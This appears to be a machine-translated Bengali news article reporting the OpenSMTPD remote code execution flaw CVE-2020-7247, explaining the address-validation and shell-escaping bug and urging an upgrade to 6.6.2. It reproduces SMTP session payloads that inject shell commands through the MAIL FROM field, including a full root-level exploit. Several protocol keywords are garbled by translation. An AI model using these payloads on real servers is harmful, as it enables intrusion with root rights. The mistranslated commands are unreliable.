OpenSMTPD-এ দুর্বলতা যা রুট সুবিধার সাথে দূরবর্তী কোড কার্যকর করার অনুমতি দেয়

ওপেনবিএসডি প্রজেক্ট দ্বারা ডেভেলপ করা মেল সার্ভারে OpenSMTPD চিহ্নিত সমালোচনামূলক দুর্বলতা (CVE-2020-7247), যা আপনাকে রুট ব্যবহারকারীর অধিকার সহ সার্ভারে দূরবর্তীভাবে শেল কমান্ডগুলি চালানোর অনুমতি দেয়। কোয়ালিস সিকিউরিটি (আগের OpenSMTPD অডিট) দ্বারা পরিচালিত একটি পুনঃনিরীক্ষার সময় দুর্বলতা চিহ্নিত করা হয়েছিল বাহিত হয়েছিল 2015 সালে, এবং নতুন দুর্বলতা মে 2018 থেকে উপস্থিত হয়েছে)। সমস্যা নির্মূল OpenSMTPD 6.6.2 রিলিজে। সমস্ত ব্যবহারকারীদের অবিলম্বে আপডেটটি ইনস্টল করার পরামর্শ দেওয়া হচ্ছে (ওপেনবিএসডির জন্য, প্যাচটি সিসপ্যাচের মাধ্যমে ইনস্টল করা যেতে পারে)।

দুটি আক্রমণ বিকল্প প্রস্তাব করা হয়. প্রথম বিকল্পটি ডিফল্ট OpenSMTPD কনফিগারেশনে কাজ করে (শুধুমাত্র লোকালহোস্ট থেকে অনুরোধ গ্রহণ করা) এবং আপনাকে স্থানীয়ভাবে সমস্যাটি কাজে লাগাতে দেয়, যখন আক্রমণকারী সার্ভারে স্থানীয় নেটওয়ার্ক ইন্টারফেস (লুপব্যাক) অ্যাক্সেস করতে সক্ষম হয় (উদাহরণস্বরূপ, হোস্টিং সিস্টেমে) . দ্বিতীয় বিকল্পটি ঘটে যখন OpenSMTPD বহিরাগত নেটওয়ার্ক অনুরোধগুলি গ্রহণ করার জন্য কনফিগার করা হয় (একটি মেল সার্ভার যা তৃতীয় পক্ষের মেল গ্রহণ করে)। গবেষকরা একটি শোষণের একটি প্রোটোটাইপ প্রস্তুত করেছেন যা OpenBSD 6.6-এ অন্তর্ভুক্ত OpenSMTPD সংস্করণ এবং অন্যান্য অপারেটিং সিস্টেমের জন্য একটি পোর্টেবল সংস্করণ (ডেবিয়ান টেস্টিং-এ পরিচালিত) উভয়ের সাথেই সফলভাবে কাজ করে।

সমস্যাটি smtp_mailaddr() ফাংশনে একটি ত্রুটির কারণে হয়েছে, যা "মেইল থেকে" এবং "RCPT TO" ক্ষেত্রের মানগুলির সঠিকতা পরীক্ষা করতে বলা হয় যা প্রেরক/প্রাপককে সংজ্ঞায়িত করে এবং সংযোগের সময় পাস করা হয় মেইল সার্ভারের সাথে। “@” চিহ্নের আগে যে ইমেল ঠিকানার অংশটি আসে তা পরীক্ষা করতে, smtp_mailaddr() ফাংশনটিকে বলা হয়
valid_localpart(), যা (MAILADDR_ALLOWED) অক্ষরগুলিকে গ্রহণ করে "!#$%&'*/?^`{|}~+-=_", যা RFC 5322 দ্বারা প্রয়োজন।

এই ক্ষেত্রে, mda_expand_token() ফাংশনে স্ট্রিংটির সরাসরি এস্কেপিং সঞ্চালিত হয়, যা শুধুমাত্র “!#$%&'*?`{|}~” (MAILADDR_ESCAPE) অক্ষর প্রতিস্থাপন করে। পরবর্তীকালে, 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' কমান্ড ব্যবহার করে ডেলিভারি এজেন্টকে (MDA) কল করার সময় mda_expand_token() এ প্রস্তুত লাইনটি ব্যবহার করা হয়। /bin/sh এর মাধ্যমে mbox-এ অক্ষর রাখার ক্ষেত্রে, লাইন “/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}” চালু করা হয়, যেখানে মান “% {mbox.from}”-এ "মেইল থেকে পাঠানো" প্যারামিটার থেকে পালানো ডেটা অন্তর্ভুক্ত।

দুর্বলতার সারমর্ম হল যে smtp_mailaddr() এর একটি যৌক্তিক ত্রুটি রয়েছে, যার কারণে, যদি একটি খালি ডোমেন ইমেলে পাঠানো হয়, তাহলে ফাংশনটি একটি সফল যাচাইকরণ কোড ফেরত দেয়, এমনকি যদি ঠিকানাটির "@" এর আগের অংশে অবৈধ অক্ষর থাকে . আরও, একটি স্ট্রিং প্রস্তুত করার সময়, mda_expand_token() ফাংশন সমস্ত সম্ভাব্য শেল বিশেষ অক্ষরগুলি এড়িয়ে যায় না, তবে ইমেল ঠিকানায় শুধুমাত্র বিশেষ অক্ষরগুলি অনুমোদিত হয়। সুতরাং, আপনার কমান্ড চালানোর জন্য, ইমেলের স্থানীয় অংশে ";" চিহ্নটি ব্যবহার করা যথেষ্ট। এবং স্থান, যা MAILADDR_ESCAPE সেটে অন্তর্ভুক্ত নয় এবং এড়িয়ে যাওয়া হয় না। উদাহরণ স্বরূপ:

$nc 127.0.0.1 25

HELO professor.falken
থেকে মেল:<;sleep 66;>
RCPT প্রতি:
তথ্য
.
QUIT

এই সেশনের পরে, OpenSMTPD, যখন mbox-এ বিতরণ করা হয়, তখন শেলের মাধ্যমে কমান্ড চালু করবে

/usr/libexec/mail.local -f ;sleep 66; মূল

একই সময়ে, আক্রমণের সম্ভাবনা এই কারণে সীমিত যে ঠিকানার স্থানীয় অংশ 64টি অক্ষরের বেশি হতে পারে না এবং বিশেষ অক্ষর '$' এবং '|' পালানোর সময় ":" দিয়ে প্রতিস্থাপিত হয়। এই সীমাবদ্ধতা বাইপাস করার জন্য, আমরা এই সত্যটি ব্যবহার করি যে /usr/libexec/mail.local ইনপুট স্ট্রীমের মাধ্যমে চালানোর পরে চিঠির মূল অংশটি প্রেরণ করা হয়, যেমন ঠিকানা ম্যানিপুলেট করে, আপনি শুধুমাত্র sh কমান্ড ইন্টারপ্রেটার চালু করতে পারেন এবং চিঠির মূল অংশটিকে নির্দেশের সেট হিসাবে ব্যবহার করতে পারেন। যেহেতু পরিষেবা SMTP শিরোনামগুলি চিঠির শুরুতে নির্দেশিত হয়েছে, তাই তাদের এড়িয়ে যাওয়ার জন্য একটি লুপে read কমান্ড ব্যবহার করার পরামর্শ দেওয়া হচ্ছে। একটি কাজ শোষণ এই মত কিছু দেখায়:

$nc 192.168.56.143 25

HELO professor.falken
থেকে মেইল ​​করুন:<;কারণ আমি 0 1 2 3 4 5 6 7 8 9 abcd; পড়ুন r;done;sh;exit 0;>
RCPT প্রতি:[ইমেল সুরক্ষিত]>
তথ্য
#0
#1
...
#d
আমি WOPR-এর জন্য; করতে
echo -n "($i) " && id || বিরতি
সম্পন্ন > /root/x."`id -u`.""$$"
.
QUIT

উত্স: opennet.ru